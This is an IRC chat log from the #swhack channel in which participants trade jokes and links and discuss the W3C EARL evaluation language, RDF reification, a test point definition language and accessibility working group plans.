awesome. 18:37:49 <Morbus> i know. they have a whole crapload of them there. 18:47:00 <Morbus> http://badastronomy.com/bad/tv/enterprise.html 18:47:14 <Morbus> you know what i miss? i miss sound sets for the os. 18:47:25 <Morbus> i used to use kaboom! back on 7.5 and sound'd everything. 18:47:27 <Morbus> and now, nothing. its so depressing. 18:50:28 <AaronSw> Aww. 18:50:39 <AaronSw> I found it got really annoying... especially when music was playing. 18:50:51 <Morbus> well, you just have to choose good tune.s 18:51:00 <AaronSw> Some stuff was good so you could tell if you had hit your target or not, but now the blue highlights mostly communicate that. 18:51:02 <Morbus> personally, i've been having a field day with dailywav.com 18:51:14 <AaronSw> Yeah, I can just imagine soundsets atop Powepuff FM! 18:51:16 <AaronSw> Heheh. 18:51:26 <Morbus> hhehehe. i love powerpuff fm <g> 18:59:10 <AaronSw> * AaronSw heads off 18:59:54 <AaronSw> * AaronSw returns 19:00:05 <Morbus> http://www.konstruktiv.net/kitty_02.html 19:01:17 <AaronSw> Heheh. 19:11:41 <Morbus> http://www.ilovebacon.com/jokes/040301b.shtml 19:16:27 <Morbus> mac.scripting.com is a wonderful site. he's always finding good stuff. 19:19:05 <AaronSw> Indeed. 19:23:26 <sbp> sbp has joined #swhack 19:23:37 <AaronSw> 'lo 19:23:50 <Morbus> 'l 19:26:19 <sbp> 'i 19:27:38 <AaronSw> * AaronSw loads "Abbey Road" -- stupid records are impossible to load and unload with just one person 19:28:24 <sbp> * sbp has to work on EARL 1.0 - ugh 19:28:50 <sbp> Aaron, some help on an EARL 1.0 API would be appreciated once it stablizes a bit 19:29:08 <sbp> The way I'm thinking of modelling it is just not efficient, and I was wondering if you had any ideas 19:29:19 <AaronSw> Sure, I'd be happy to help 19:29:22 <sbp> perhaps you could build it on top of your perfect RDF API? 19:30:26 <AaronSw> That'd be fun. 19:30:38 <AaronSw> When you say API do you mean schema or Python code or what? 19:30:46 <sbp> Python code 19:30:53 <AaronSw> Hmm... 19:31:03 <AaronSw> But we'd have to finish the API a bit more, I suppose. 19:31:30 <sbp> I didn't even know you'd started it! 19:31:33 <sbp> Just kidding... 19:31:51 <AaronSw> heheh 19:34:17 <AaronSw> * AaronSw tries to debug his record player 19:36:38 <AaronSw> Ahh, that little grabby thingy slides backward! 19:41:43 <AaronSw> tav on Afghanistan: "i just learnt that they are dropping fucking pop tarts and strawberry jam. wtf!?" 19:41:54 <Morbus> bwahahaha. 19:42:03 <Morbus> strawberry jam mixes nicely with minefield blood. 19:42:48 <Morbus> should i soften the comment with a smiley? 19:43:22 <AaronSw> Yeah, please -- before I throw up ;) 19:43:26 <Morbus> heheheh. 19:43:28 <Morbus> here it comes: 19:43:30 <Morbus> :)~ 19:43:35 <Morbus> that's strawberry jam on my chin. 19:43:40 <Morbus> or maybe blo... uh. nevermind. 19:44:11 <AaronSw> * AaronSw notes that 2-year olds have a strange tendency to use HTML and large font sizes when sending b-day invites 19:44:24 <AaronSw> must be something that's fixed in later developmental stages 19:44:36 <Morbus> maybe size=+$age? 19:44:45 <AaronSw> heheh 19:44:49 <AaronSw> "1, 2,3, 4, 5, 6, 7; all good children go to heaven" 19:46:48 <AaronSw> Heh, tav: """random thought: according to mythology and buffy the "gorgeous" vampire slayer... a cross will keep the blood sucking vamps away... however, it strikes me that of all people in history, jesus would be the most likely person to shreak and run for his life when he sees a cross...""" 19:47:02 <AaronSw> Morbus, is it just me or ahve you been seeing weird window residues in OS X 19:47:14 <Morbus> i haven't seen them no. 19:47:14 <AaronSw> like small squares of a window will pop un places where there's no window 19:47:20 <AaronSw> Odd. 19:47:23 <AaronSw> I see a ton of them. 19:47:27 <Morbus> i haven't seen them. 19:47:31 <Morbus> odd. 19:49:49 <sbp> Ugh, I run CWM, and it gives "RDFSink module not found" 19:50:12 <sbp> if I "import RDFSink from whatever" it barfs on a different error 19:51:40 <sbp> hello? 19:54:26 <Morbus> i'm here. but you don;t want my help. 19:54:41 <sbp> sbp has quit 19:58:09 <AaronSw> Morby Morby Morby. 19:59:08 <Morbus> wha? 19:59:13 <Morbus> what'd i do now? 20:00:14 <AaronSw> Oh, stop! You're just making it worse. 20:00:43 <Morbus> um. ok. i will not atone for an unknown sin. i have so many of them. 20:00:44 <Morbus> ;) 20:01:47 <AaronSw> :-) 20:07:23 <sbp> sbp has joined #swhack 20:07:30 <AaronSw> Why it's sbp! 20:07:47 <sbp> I can't get llyn to work! 20:08:22 <AaronSw> What's it do? 20:20:49 <Morbus> Morbus has left #swhack 20:25:48 <wendy> wendy has joined #swhack 20:26:01 <sbp> Hi Wendy 20:26:34 <wendy> hey sbp. 20:26:51 <AaronSw> Wendy, now I have to warn you that this chatroom is for hacking, not cracking. So if you're looking for warez serialz for table deserializers, you'll have to go someplace else. ;) 20:27:02 <wendy> lol thx for the warning. 20:27:15 <AaronSw> AaronSw has quit 20:27:15 <sbp> sbp has quit 20:28:05 <AaronSw> AaronSw has joined #swhack 20:28:18 <sbp> sbp has joined #swhack 20:28:27 <wendy> wow. where did everyone go? everyone kicked off rdfig at the same time. 20:28:36 <sbp> soddit, they rebooted carter 20:28:38 <AaronSw> Whoa... 20:28:52 <AaronSw> Yeah... we get those table serialization d00ds here a lot. 20:29:42 <AaronSw> netsplits are fun! 20:29:52 <AaronSw> See. ot 20:29:52 <wendy> sbp - i've got an outline of some stuff to say to UAWG on Monday. think it'll be better for a primer than for them...but thought you might be interested. 20:29:54 <wendy> http://www.w3.org/2001/10/22-earl-uaag/all.htm 20:29:54 <AaronSw> It's never that fun when someone reboots a webserver. 20:29:59 <wendy> still really rough, but a start. 20:31:00 <sbp> * sbp goes through it... needs a break though 20:31:16 <wendy> no worries. no hurry. just fyi. 20:31:20 <sbp> http://www.w3.org/2001/10/22-earl-uaag/all.htm is member private at the moment 20:31:33 <sbp> nope, I'll go through it whilst I'm on a roll :-) 20:31:36 <wendy> thot you had member access... 20:31:56 <AaronSw> He did... :) 20:32:26 <wendy> raising too much hell again sbp? take away your privledges? :) 20:32:35 <sbp> "{ :Page earl:passes :TestCase }"; I must modify the bookmarklet thing to reify the output rather than bunging it in a context 20:33:06 <sbp> well, when WL said "that's it, I'm outta here", I sent that letter to patent-policy. But DanC saw it and got a bit weird 20:33:06 <wendy> ah, it's a warning it is under member access. true. not ready to show the world yet. 20:33:27 <sbp> I still have access though :-) 20:39:40 <AaronSw> * AaronSw reads some Joe Clark while wendy is here ;) 20:40:44 <sbp> heh 20:40:51 <wendy> :) 20:42:41 <wendy> what's joe got to say these days? 20:42:42 <sbp> * sbp fixes the bookmarklet to reify 20:43:17 <AaronSw> Joe Clark: "It became impossible to locate an accessibility tech editor sufficiently unaffiliated with the WAI; hiring anyone in tight with the Web Accessibility Initiative would be a clear conflict of interest and would simply invite trouble given that I contradict some of its advice. [...] To a certain degree, it would tip them off." 20:43:25 <AaronSw> Heheh. 20:45:04 <wendy> we are the <abbr pronounce='way'>wai</abbr> and the light. :) 20:45:54 <wendy> although, some argue that sometimes it seems more like the <abbr pronounce='why'>wai</abbr> 20:46:02 <AaronSw> Hehheh. 20:46:10 <sbp> lol 20:47:14 <sbp> * sbp continues to try to fix the bookmarklet, spots another bug 20:50:11 <Morbus> Morbus has joined #swhack 20:51:08 <Morbus> hey wendy. long time. 20:51:10 <sbp> Hooray, it works now 20:51:52 <AaronSw> * AaronSw tries to get rdfapi in usable shape for EARL 20:52:03 <Morbus> EARL? is that the cousin of URL? 20:52:05 <Morbus> * Morbus ducks. 20:52:23 <sbp> * sbp tries to get EARL in usable shape for rdfapi 20:52:31 <AaronSw> Duke, duke, duke, duke of URL, URL, URL 20:52:34 <Morbus> hehehe. 20:53:12 <sbp> ugh, *another* bug in the Bookmarklet; it's spitting out email addresses as literals 20:53:30 <wendy> hey there. 20:54:07 <wendy> brb. gotta make lunch. 20:54:41 <AaronSw> Mmm, now you're making me hungry... can you get me something to eat too? ;) 20:55:11 <sbp> neat: http://www.w3.org/2001/10/22-earl-uaag/end-to-end.svg 20:55:22 <sbp> and me. Send it through the post :-) 20:55:40 <Morbus> and i'll take a milkshake! 20:55:42 <Morbus> who wants fries? 20:56:10 <wendy> lol. here's today's menu: couscous w/veggies, vegan burger, and some deviled eggs. :) 20:56:30 <AaronSw> Never mind then... :) 20:56:35 <Morbus> ooh, deviled eggs sound good. 20:56:42 <Morbus> vegan burger - frozen or handmade? 20:56:54 <wendy> sbp: re: the svg. notice the link to EARL from the EARL arrow. want to link to some other stuff as well. perhaps discussion on test point langs, and whatnot. 20:57:02 <Morbus> hey! svg. i know svg. 20:57:11 <wendy> sbp. thx. will do. 20:57:20 <sbp> oh man, that's another thread I need to follow up on 20:57:31 <wendy> vegan burger - frozen. :\ although, i make a mean one from scratch. 20:57:38 <Morbus> check it out - # Dedicated to all the companies who wait until a large user base becomes 20:57:38 <Morbus> # dependant on their freeware, then shafting said happy campers with 20:57:45 <Morbus> dammit. wrong clipboard. 20:57:50 <Morbus> http://www.johnmunsch.com/projects/UberCard/ 20:57:50 <AaronSw> Heheh. 20:57:59 <Morbus> i came up with the name. OOOh. :) 20:57:59 <sbp> vegan burger: block of soy meat? 20:58:18 <Morbus> wendy, next time i see ya (ummmm), i want a vegan burger. 20:58:26 <sbp> heh, I'm not suprised you still have that thing on clipboard 20:58:38 <wendy> eeks..burning. back in a bit. 20:58:39 <Morbus> oh? why's that 20:58:42 <sbp> I'd be even more suprised if you didn't already have it tatooed on your arm 20:58:43 <AaronSw> UberCard: He's coverting all the magic cards to SVG? 20:58:46 <AaronSw> Yikes. 20:58:51 <Morbus> not just magic - ALL card games. 20:58:54 <Morbus> xfiles, inwo, etc. 20:58:56 <AaronSw> * AaronSw screams! 20:59:02 <sbp> by hand? 20:59:03 <AaronSw> My two brothers are card-game obsessives 20:59:03 <Morbus> ubercard is a java app. i've got some design docs on my machine. 20:59:10 <Morbus> its coming along nicely. 20:59:12 <AaronSw> We have cards everywhere in the house 20:59:14 <sbp> ah, not by hand 20:59:20 <Morbus> basically, its a net playing card framework... 20:59:26 <AaronSw> they play like every game, you can't escape them... it's scary 20:59:43 <Morbus> he. they could play every game with ubercard - its really not going to handle any rules. 20:59:53 <Morbus> its just gonna be a secure framework, playing area, card db, etc. 20:59:56 <sbp> * sbp likes the thing that is at http://www.w3.org/2001/10/22-earl-uaag/all.htm whatever it is 21:00:37 <AaronSw> What kind of a prefix is @prefix : <#g_10_17_2001123405AM> . 21:00:57 <sbp> it's a stupid crappy hacky prefix. 21:00:59 <AaronSw> Pahpfft 21:01:14 <sbp> suggest something better 21:01:26 <AaronSw> Why do you need it? 21:01:40 <AaronSw> I suggest time.time() instead 21:01:41 <sbp> for the IDs. Oh, I could use anon nodes, I guess 21:01:59 <Morbus> md5 md5! 21:02:03 <AaronSw> Yeah, that is what they're designed for. 21:03:19 <sbp> * sbp updates 21:03:42 <sbp> there we go 21:03:58 <AaronSw> I hope you used _:a instead of []. 21:05:07 <sbp> of course!!! 21:05:37 <AaronSw> Whew. 21:05:50 <AaronSw> * AaronSw wipes sweat from forehead. 21:05:57 <Morbus> bah. kuroshin's been down all day. 21:06:03 <sbp> [[[ 21:06:04 <sbp> @prefix earl: <http://www.w3.org/2001/03/earl/0.95#> . 21:06:05 <sbp> @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> . 21:06:05 <sbp> @prefix dc: <http://purl.org/dc/elements/1.1/> . 21:06:05 <sbp> _:Person earl:asserts 21:06:05 <sbp> [ rdf:subject _:Page; 21:06:06 <sbp> rdf:predicate earl:passes; 21:06:08 <sbp> rdf:object _:TestCase ] . 21:06:11 <sbp> [...] 21:06:12 <sbp> ]]] 21:06:25 <Morbus> what's the [[[]]]] thing do? i see sean using it all the time. 21:06:53 <sbp> it delimits the quote 21:07:27 <AaronSw> I prefer """""" 21:08:04 <sbp> TS 21:08:26 <sbp> right, I think this bookmarklet is swinging now 21:09:13 <sbp> yeah, that 21:09:16 <sbp> that'll do 21:09:44 <sbp> not bad for a c.1KB hack 21:09:57 <AaronSw> Too bad Python doesn't have sets... 21:10:10 <sbp> sets? 21:10:18 <AaronSw> Yeah, you know, like Set Theory. 21:10:23 <sbp> oh 21:10:27 <AaronSw> Where duplicates collapse 21:10:32 <AaronSw> and order doesn't matter 21:10:36 <sbp> you could make one 21:10:41 <sbp> class Set: 21:10:50 <sbp> that'll be your task 21:11:01 <AaronSw> Yeah, but you'd want an iterator... but not an indexer 21:11:07 <AaronSw> I think it needs Python 2.2 or whatever 21:11:08 <sbp> @@TODO AaronSw make a Set class 21:11:15 <sbp> write to them 21:11:26 <AaronSw> Pah! I'll just use lists, thank-you-very-much 21:11:37 <AaronSw> Hmm, dicts are sorta like sets... 21:14:37 <wendy> sbp: you suggested changing { :Page earl:passes :TestCase } . 21:14:39 <wendy> to 21:14:45 <wendy> [ rdf:subject :Page; rdf:predicate earl:passes; rdf:object :TestCase ] 21:14:52 <sbp> yep 21:15:15 <wendy> hmmm. could you explain why? 21:15:39 <sbp> contexts are kinda special to CWM, and I'd hoped they'd catch on by now. But people are still just discussing away, and reification is here to stay. Ooh, that rhymes 21:16:14 <sbp> actually, they just discussed it today on RDF IG 21:16:29 <sbp> Seth asked Tim if a context with one statment as a member is equivalent to a statement ID 21:16:47 <sbp> Tim said he stays out of those sort of arguements :-) 21:17:03 <sbp> so reifying might be better 21:17:16 <wendy> when you say "I'd hoped they'd catch on" who is they? 21:17:25 <wendy> people other than those creating CWM? 21:17:32 <wendy> you want others to use contexts? 21:18:16 <sbp> they: the world and it 21:18:19 <sbp> and it's dog 21:18:27 <wendy> :) 21:18:32 <sbp> we're even discussing it now in #rdfig! 21:20:58 <wendy> so i see... 21:21:01 <Morbus> how does a ready fig differ from a strawberrt fig? 21:21:59 <sbp> I don't know, how does a ready fig differ from a strawberry fig? 21:22:19 <Morbus> * Morbus shivers - the balls back in his court! 21:22:25 <wendy> sbp - i've made the change. want to take a look? 21:22:26 <sbp> :-) 21:22:57 <sbp> s/"<mailto:wendy@w3.org>"/<mailto:wendy@w3.org>/ 21:23:16 <sbp> er... and then you could do what Aaron suggested and take out the ID thingy 21:23:38 <AaronSw> Why don't you just run the page thru the script again? 21:24:04 <sbp> yeah, I fixed the script so that it outputs decent data this time 21:24:10 <wendy> i will...but i'm trying to understand what's going through sbp's mind as he's making these changes to the script. :) 21:24:29 <sbp> I'm thinking, "ugh, why on earth did I do that like that?" 21:24:33 <wendy> lol 21:24:42 <sbp> the old thing was clearly, clearly rushed 21:24:49 <sbp> it was 21:24:57 <sbp> it wasn't even completed 21:25:03 <wendy> so, when are you going to write an EARL validator? :) 21:25:13 <sbp> it only implemented "earl:pass" :-) 21:25:30 <sbp> EARL Validator: there are two different approaches I could take 21:25:31 <Morbus> Morbus has quit 21:25:53 <sbp> 1) Play about with CWM/Llyn 21:26:01 <sbp> 2) Beg Aaron to work on his RDF API 21:26:08 <AaronSw> Already on it! 21:26:15 <sbp> problem solved 21:26:17 <AaronSw> Running the unit test now... 21:26:40 <sbp> ideally, we 21:27:00 <sbp> we're looking for a CGI form whereby one can paste in a URI, and have it "validate" the EARL 21:27:16 <sbp> in as much as one can validate an RDF Model. Really, you just check it for consistency 21:28:02 <sbp> which CWM is good at. Perhaps I'll try that approach too 21:28:06 <sbp> but I' 21:28:12 <sbp> aaaaaaargh, damn ' key 21:28:19 <wendy> hmm. i thought it was the syntax we wanted to validate, not the model. am i confusing things? 21:28:41 <sbp> but I'm a bit saddened by the whole state of EARL at the moment: test case work messing things up, etc. 21:28:50 <sbp> syntax: just use the RDF Validator for that 21:29:33 <wendy> it's generating earl:date instead of dc:date, i thought we'd decided to stay w/dc date. 21:29:44 <sbp> with a model validator, you want to check that people are not doing _:Checkpoint earl:passes _:Page . or anything silly like that 21:29:53 <sbp> no way! dc:date isn't even datatyped 21:29:56 <AaronSw> At least it's not earl:date [ dc:date "..."] 21:30:15 <sbp> and it doesn't have the magical quality that we give earl:date and earl:version 21:30:27 <AaronSw> Ooh, that specail sbp goodness? 21:30:28 <wendy> magical. :) 21:30:28 <sbp> yeah, earl:date [ dc:date _:y ] . was conufsing 21:30:41 <AaronSw> * AaronSw shuts up and goes back to trying to pass his unit tests 21:30:50 <wendy> ah. 21:30:53 <sbp> yeah, we say that something's unambiguous when it has a URI and an EARL date hanging off of it 21:31:08 <sbp> if we used DC date, I don't think that we could say that 21:31:36 <wendy> hmm. the other day you said s/earl:suite/earl:id. but this uses earl:suite. 21:31:46 <wendy> or am i switching them? 21:31:46 <sbp> oh, feck 21:32:35 <sbp> see, this is what happens when you don't take time to build something carefully :-) 21:32:37 <sbp> * sbp updates 21:32:58 <wendy> :) no worries, it makes me feel like i'm contributing. 21:33:09 <sbp> you're the chair! 21:33:15 <sbp> I'm not even sure what earl:suite does anymore 21:33:34 <sbp> I mean, it's meant to link to a set of conformance criteria 21:33:41 <sbp> e.g. all of WCAG 1.0 21:33:51 <wendy> chair: true, but i understand this about 1/2 as well as you do! eeeks! you've done all the work! :) 21:34:20 <sbp> but perhaps it would be better to link it to a URI/bNode, and then link all of the IDs off of that. Sort of like the machine readable version of WCAG that I drafted up 21:34:28 <wendy> yes, linking to all of wcag 1.0 could be called a suite, but it's an id. not sure we need to distinguish... 21:34:34 <wendy> although some of the recent thread gets into that. 21:34:49 <sbp> well, you understand the scenarios and the practice of the thing way better than I do 21:34:54 <wendy> if you want to make a less granular claim you could...but i'm not sure how it would change how it gets processed. 21:35:08 <sbp> well, when processing, you need to be explicit 21:35:27 <sbp> it's not enough to be fuzzy to any degree, you have to state things in incredibly pedantic detail 21:35:34 <sbp> which is probably why I like it :-) 21:35:53 <wendy> yes, good to be pendantic. but, i'm trying to think of a scenario of how this would be processed differently. 21:35:54 <sbp> so using WCAG as a kind of bag may seem good on the surface, but the processor won't know what's in the ba 21:36:08 <wendy> yes - exactly - unless that bag is defined somewhere... 21:36:14 <wendy> perhaps suite = WCAG 1.0 21:36:29 <wendy> WCAG 1.0 is a bag for {set of checkpoint URIs} 21:36:32 <sbp> and WCAG's annoying, because really it's a bag with three other bags in it, all of the different checkpoints, and you can have overlaps of the bags 21:36:40 <wendy> actually- 3 bags. one for each level of conformance of wcag. 21:36:41 <sbp> yep, that's how I wanted to model it 21:36:49 <wendy> :) exactly. 21:36:53 <sbp> :-) 21:37:29 <wendy> ok. so in this instance i've used an id, but suite should be possible, as long as we have a way to define what is in the suite. 21:37:43 <wendy> which, is basically just an rdf:bag. 21:38:09 <sbp> DAML lists are considered "cooler" 21:38:26 <wendy> I don't know anything about DAML, really...could you explain? 21:38:53 <sbp> er... it's an ontology. so, it's a language which allows you to make other languages with astonishing detail 21:38:59 <sbp> like a schema language 21:39:18 <sbp> but it has other little knick knacks in it, like daml:Seq, or whatever it's called 21:39:28 <sbp> we use DAML a little bit in the EARL schema 21:40:04 <sbp> Wendy, could you bung the example through the bookmarklet again? there are a few other bugs in there that I've fixed but that aren't fixed in the example 21:40:16 <sbp> apologies: I really should have fixed it *ages* ago 21:40:17 <wendy> yes - that's the only bit of DAML i know is in the EARL schema. 21:40:32 <wendy> * wendy retursn to the bookmarklet. 21:40:57 <sbp> the schema is at http://www.daml.org/2001/03/daml+oil# 21:41:18 <sbp> oh, and there's a really good walkthrough: http://www.daml.org/2001/03/daml+oil-walkthru 21:42:25 <sbp> Any idea what we're going to do about the TPDL? I kinda decided all of a sudden that EARL walks a weird tightrope act between linking to a test case, putting up metadata for a test case, and actually defining the test case 21:42:59 <sbp> Daniel's original properties had a list of test case stuff with a note to enumerate them out later, but we never did, and in the end we lost interest in that aspect and got rid of some of the properties 21:43:03 <wendy> example fixed. thx. 21:43:15 <wendy> yes, it is in an odd grey area. 21:43:19 <wendy> Not sure what we'll do. 21:43:22 <sbp> so we have a kind of semi-pointer/semi-metadata language for test cases in EARL 21:43:26 <wendy> I expect it will end up in QA. 21:43:40 <sbp> but the question is: what do we do for EARL? 21:43:40 <wendy> BUT, i would like to iron out as much of that as possible before handing off. 21:43:47 <wendy> right. yes. 21:44:09 <wendy> What are your thoughts? Add back the properties that were stripped out? 21:44:47 <wendy> incorporate parts of Chris/Josh's test case dtd? 21:45:00 <sbp> well, if a TPDL lanuage exists at all, it will be separate from EARL. Well, IMO it should be separate from EARL. Even Al said it would be good as a Semantic WEb project, but I'm damned if I'm going to be able to work on that as well, what with another degree coming up and so forth, so the course for EARL looks a bit shaky 21:45:32 <wendy> do you think more needs to be stripped from earl to remove the greyness? 21:45:40 <sbp> well, the question is whther or not to standardize a TPDL, and then if so, how do we incorporate that into EARL assuming that it doesn't turn out as an RDF language, and if not, how EARL copes with the mess that will be created 21:45:51 <sbp> I'm not sure if we need to remove stuff, or add it, or what 21:45:59 <sbp> well... let me slow down a bit... 21:46:06 <wendy> what was your reaction to Dimitris' post? 21:46:28 <wendy> it seemed to me that he was saying the DOM TS ML was specific to DOM and not something to base other test suites on. 21:47:22 <sbp> we have the pointer to the test case at the end of the statement. That's al;ways going to be there. The more sympathetic the test case is to EARL, the less mess we end up with in EARL itself. At a level of full compatability iwth EARL (i.e. if TPDL is an RDF language), we can just simply put the URI in the reified triple. THat would be the perfect, most wonderful solution that coyld happen, and we can all go for a drink and dance around the maypole 21:47:29 <sbp> so we're faced with the alternatives... 21:47:42 <sbp> yeah, I'm still digesting what Dimitris wrote 21:47:53 <wendy> then there is the test case vs test distinction. 21:47:57 <wendy> maypole :) 21:47:59 <AaronSw> * AaronSw wonders what a TPDL is. 21:48:05 <sbp> he said that if TPDL was standardized, that he'd try to move over to it, which I thought was really cool 21:48:14 <sbp> TPDL - Test Point Definition Langauge 21:48:22 <wendy> yes, he seems very open to finding an elegant solution. 21:48:26 <AaronSw> Ah. 21:48:38 <AaronSw> * AaronSw hits a problem in rdfapi and reads IRC logs to cope 21:48:56 <sbp> but, that's a lot of work that somebody will have to do. The problem with the legant solution is that it takes work away from DOM TS and EARL (good), but heaps it all into a group that will have to be chartered to cope with it, surely 21:49:14 <sbp> and it's going to be months, if not years, until a good TPDL is created 21:49:23 <wendy> seems that it is NISTs job. 21:49:26 <wendy> they are the experts. 21:49:32 <sbp> and even then, it will probably end up being less than compatable with either EARL or DOM TS 21:49:43 <sbp> yeah, but are NIST keeping an eye on EARL and the DOM TS? 21:49:46 <wendy> * wendy wonders about large corps that do testing...they must have something...likely proprietary. :( 21:50:10 <wendy> actually, NIST has participated some in DOM TS, but I think are drooling over QA participation. 21:50:20 <wendy> thus, expect if it is to happen, it will be in QA. 21:50:21 <sbp> If QA sat down and did it, it would benefit us. if someone else does it, we'll have even more of a headache, waiting for them to finish, and so forth 21:50:30 <wendy> esp. w/DD as one of the leads. 21:50:45 <sbp> yeah, absolutely 21:50:53 <wendy> thus, you and i just need to join QA! help make it happen! :) 21:51:19 <sbp> heh, with all the bundles of free time that we have, eh? :-) 21:51:24 <wendy> i'm way psyched on all of this testing stuff. the F2F really jazzed me. 21:51:38 <wendy> free time. :) 21:51:52 <AaronSw> And the validator folks are joining QA too... it's getting quite popular it seems. 21:52:08 <wendy> let me tell you about free time: on my way back from australia at the end of november, i will take the following patH: 21:52:14 <sbp> the problem is, we've been working on EARL for ages and ages now, and with just one more turn of the wheel, it could be basically compltete. And now there's the problem of the TPDL, which could be a whole other process... aaargh! I just want to get EARL finished 21:52:15 <wendy> melbourne, singapore, london, seattle. 21:52:28 <sbp> heh, zig-zagging a bit there? 21:52:33 <wendy> i'm going the wrong way around the world! 30+ hours! 21:52:56 <sbp> Eek 21:52:57 <AaronSw> That gives you 30 hours of free time! Whooopee. :) 21:53:01 <sbp> Heh: Subject: Google Groups account verification misuses HTTP GET 21:53:13 <sbp> from Gerald on www-archive@w3.org 21:53:19 <AaronSw> That's Gerald for you. 21:53:34 <wendy> finishing EARL: will it every be? :) 21:53:55 <wendy> TSDL: it would be extremely cool, but it seems part of the second phase. 21:54:03 <wendy> there's still tons of work to do for earl. 21:54:17 <sbp> yeah, but TPDL should hav come first, and it's coming second! 21:54:18 <wendy> most elegant solution includes TSDL, but earl at least makes current situation better. 21:54:27 <wendy> hindsight is 20/20. 21:54:34 <sbp> yeah, true 21:54:47 <wendy> we should have thought about users as well as devs, but we focused on devs and now jim ley is upset. 21:54:52 <wendy> ya live. ya learn. 21:55:00 <sbp> ah, he'll get over it 21:55:11 <sbp> and anyway, EARL 0.95 is unimplementable to devs right now 21:55:25 <wendy> right. so will we. EARL came first, TPDL will come second. egg before chicken as it were, I guess. 21:55:43 <sbp> yeah 21:56:02 <wendy> yikes, unimplementable? missed ya there. what do you mean? 21:56:06 <sbp> O.K., so I ask you: what do you want me to do now? 21:56:12 <sbp> oh, O.K., hang on... 21:56:28 <sbp> unimplementable: well, we're going to change it substantially, I hope 21:57:18 <sbp> there are so many little bits which just bug the crap out of me that we could do with changing now. But then there is the resistance from Chaals, which is valuid, and goes something like "we've already learned a lot, we have a lot more to learn" 21:57:35 <sbp> I had hoped that using RDF for all of this would soften the blow. But.. um... it hasn't really 21:57:54 <sbp> well, it has. Just not as much as I would have hoped 21:58:15 <wendy> the blow of what? implementability? 21:58:20 <sbp> the 0.9 to 0.95 thing was really cool 21:58:27 <sbp> the blow of version changes 21:58:32 <wendy> ah. gotcha. 21:59:02 <sbp> now, if we go to 1.0, we are in effect saying "this is done, go implement it" 21:59:26 <wendy> what was nick's reaction? 21:59:32 <sbp> TPDL is threatening, because it means we cannot conceivably come up with the above until we work out how it fits in with EARL 21:59:38 <sbp> Nick's reaction to what? 21:59:53 <wendy> possibly moving to 1.0 in the midst of implementing 0.95. 22:00:04 <sbp> oh, I don't think I told him yet :-) 22:00:07 <wendy> lol 22:00:22 <sbp> and I should note that it's not that 0.95 is unimplementable... it's that 1.0 will be better 22:00:32 <wendy> yes. gotcha. 22:00:37 <wendy> ok, then. here's what i know: 22:00:45 <wendy> 1. we don't have a tpdl yet. 22:00:58 <wendy> 2. we want to make sure earl can jive w/tpdl once it exists. 22:01:06 <wendy> 3. but we need to go ahead w/earl. 22:01:15 <wendy> therefore, i suggest that we anticipate earl 2.0. 22:01:25 <wendy> earl 1.0 exists today w/out tpdl. 22:01:30 <wendy> once tpdl exists, we modify earl. 22:01:51 <wendy> only problem then is need to make sure all earl 1.0 data doesn't go stale 22:02:01 <wendy> and that there is some sort of easy migration like from 0.9 to 0.95 22:02:01 <sbp> * sbp sobs 22:02:19 <sbp> 0.9 to 0.95 was easy 'cause we just bugfixed it 22:02:37 <sbp> 1.0 to 2.0 will be scary 22:02:55 <wendy> but not impossible? 22:03:14 <sbp> as long as no data is added, no. it's not impossible 22:03:40 <wendy> and, data is likely to be added in 2.0 to jive w/tpdl. 22:03:43 <wendy> right? 22:03:52 <AaronSw> You guys need to stop worrying -- it's not like your data has been frozen in 4000 set-top boxes across the country yet. 22:04:01 <sbp> I'm not sure what TPDL is (it doesn't exist yet), so I can't say for sure 22:04:02 <wendy> :) 22:04:07 <sbp> :-) 22:04:26 <wendy> how difficult would it be to come up with a skeleton of what tpdl might look like? 22:04:32 <wendy> earl took a while since we were all learning. 22:04:41 <wendy> tpdl might be easier since we've done some of this. 22:05:03 <wendy> but, i still think tpdl is best owned by qa. 22:05:16 <sbp> yes, I agree. You'd have to ask them, I guess 22:05:17 <wendy> therefore, perhaps we try to get this on the qa agenda for their upcoming f2f? 22:05:38 <sbp> oh, absolutely! 22:05:44 <wendy> hmmm. 22:06:00 <wendy> * wendy figures out how to fit in tpdl into w3.org/2001/10/22-earl-uaag/all.htm 22:06:19 <sbp> let QA do it :-) 22:06:21 <wendy> this was supposed to be my slideset for a presentation to the UA WG on monday, but i think it will be a more genearl resource. 22:06:35 <sbp> it's a really good little page 22:06:45 <wendy> well, but i think we can offer some wisdom to get them started. 22:06:51 <wendy> we've been thinking about this for quite a while! :) 22:06:55 <wendy> thx. 22:07:03 <sbp> so, WCAG would have to create test point stuff. How do you feel about that? 22:07:18 <wendy> we already are and we need to do it. 22:07:27 <wendy> WCAG needs to be less ambiguous. 22:07:35 <wendy> AERT was born b/c of the ambiguities. 22:07:45 <wendy> it should have come from WCAG in the first place. 22:07:48 <sbp> well, a TPDL would both help and hinder GL as much as ERT, right? 22:07:59 <wendy> yes. 22:08:05 <sbp> yep, I certainly agree with that 22:08:31 <wendy> also would help UA WG as working on test suite for UAAG's CR. 22:08:36 <wendy> and XAG's CR 22:08:44 <sbp> perhaps I'll look in my mailbox, and someone will have sent me a specification for a decent TPDL langauge in RDF? 22:08:48 <sbp> * sbp checks his mail 22:08:51 <wendy> :) 22:08:59 <sbp> nah, oh well 22:09:05 <sbp> sorry, you were saying? :-) 22:09:21 <sbp> XAG's CR... oh, man... dependencies! 22:09:32 <sbp> we should have done TPDL first! 22:09:41 <wendy> lol 22:09:49 <sbp> no, seriously! EARL would have been just chaff then 22:09:53 <wendy> hey, are you going to write your conformance review of RDF to XAG in EARL? 22:10:21 <sbp> Oh man, I had blissfully repressed that ACTION item 22:10:54 <wendy> I've got to create this tool to help WCAG folk create EARL for test files...i thought i'd first test it out 22:11:03 <wendy> on you and charles to do the XAG reviews. 22:11:16 <sbp> still, I took the easy one (N/A, N/A, N/A, N/A, N/A, fails, N/A, N/A), so that's good 22:11:23 <wendy> :) 22:11:58 <wendy> I haven't thought much about mine yet. I took XSLT. my new favorite language (other than EARL, of course. :) 22:12:42 <sbp> sbp has quit 22:12:45 <SeanP> SeanP has joined #swhack 22:12:52 <SeanP> SeanP has quit 22:13:05 <sbp> sbp has joined #swhack 22:13:23 <sbp> grgppgrh 22:13:40 <sbp> XSLT rocks 22:13:42 <sbp> tool? 22:14:02 <sbp> 22:10:54 <wendy> I've got to create this tool to help WCAG folk create EARL [...] 22:14:16 <wendy> yes. WART, basically. 22:14:20 <sbp> ah 22:14:24 <sbp> with CFM? 22:14:35 